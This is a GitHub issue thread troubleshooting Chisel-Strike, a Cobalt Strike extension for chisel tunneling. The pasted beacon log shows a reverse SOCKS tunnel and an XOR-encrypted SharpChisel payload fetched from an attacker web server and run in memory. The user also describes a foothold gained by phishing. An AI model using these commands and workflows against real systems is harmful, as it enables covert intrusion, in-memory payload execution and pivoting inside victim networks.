Exception has been thrown by the target of an invocation.

[fredericgoossens]

Hello, the project looks very neat but unfortunately I'm having some issues. here is the output:

[03/23 15:14:48] beacon> chisel-tms server -p 2000 --reverse
[03/23 15:14:48] [*] ____ _  _ _ ____ ____ _       ____ ___ ____ _ _  _ ____ 
[03/23 15:14:48] [*] |    |__| | [__  |___ |    __ [__   |  |__/ | |_/  |___ 
[03/23 15:14:48] [*] |___ |  | | ___] |___ |___    ___]  |  |  \ | | \_ |___ 
[03/23 15:14:48] [*] -------------------------------------------------------
[03/23 15:14:48] [*] Author - m3rcer	github.com/m3rcer/Chisel-Strike
[03/23 15:14:48] [*] -------------------------------------------------------
[03/23 15:14:48] [*]                                                         
[03/23 15:14:48] [*] Executing On Linux Teamserver: /opt/Chisel-Strike/chisel-modules/chisel64 server -p 2000 --reverse
[03/23 15:15:20] beacon> chisel-tls client 10.10.16.186:2000 R:socks
[03/23 15:15:20] [-] Unknown command: chisel-tls client 10.10.16.186:2000 R:socks
[03/23 15:15:29] beacon> chisel client 10.10.16.186:2000 R:socks
[03/23 15:15:29] [*] ____ _  _ _ ____ ____ _       ____ ___ ____ _ _  _ ____ 
[03/23 15:15:29] [*] |    |__| | [__  |___ |    __ [__   |  |__/ | |_/  |___ 
[03/23 15:15:29] [*] |___ |  | | ___] |___ |___    ___]  |  |  \ | | \_ |___ 
[03/23 15:15:29] [*] -------------------------------------------------------
[03/23 15:15:29] [*] Author - m3rcer	github.com/m3rcer/Chisel-Strike
[03/23 15:15:29] [*] -------------------------------------------------------
[03/23 15:15:29] [*]                                                         
[03/23 15:15:29] [*] Base64 args are: Y2xpZW50IDEwLjEwLjE2LjE4NjoyMDAwIFI6c29ja3M=
[03/23 15:15:30] [*] Hosted /SharpChisel.xor @ http://10.10.16.186:80/SharpChisel.xor
[03/23 15:15:30] [*] Base64 XOR URL is: aHR0cDovLzEwLjEwLjE2LjE4Njo4MC9TaGFycENoaXNlbC54b3I=
[03/23 15:15:30] [+] host called home, sent: 116683 bytes
[03/23 15:15:31] [+] received output:
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Decrypting XOR encrypted binary using key 'socks5oversocks4'
[+] Starting http://10.10.16.186:80/SharpChisel.xor with args 'client 10.10.16.186:2000 R:socks'

[03/23 15:15:36] [+] received output:
[!] Damn, it failed, too bad
[!] Exception has been thrown by the target of an invocation.

I already tried to compile SharpChisel myself, but it didn't fix the issue :(

[m3rcer]

Hey thanks!, not quite sure. Could possibly be a firewall issue / .NET framework incompatibility on beacon host / bind port issues / chisel issue. Try troubleshooting by checking if the listener is hosted via netstat -an or ss -lntp and digging further through each detail or do share your setup.

[fredericgoossens]

My setup looks like the following:

KALI (Cobalt Strike) ===reverse shell obtained by phishing===> Workstation

I'm currently using chisel proxies running on the workstation (just by using the executable).. that works fine but i'm still unable to use chiselstrike

[m3rcer]

Do test SharpChisel manual execution first on your target, and if that works with your chisel teamserver try recompiling the project with those versions.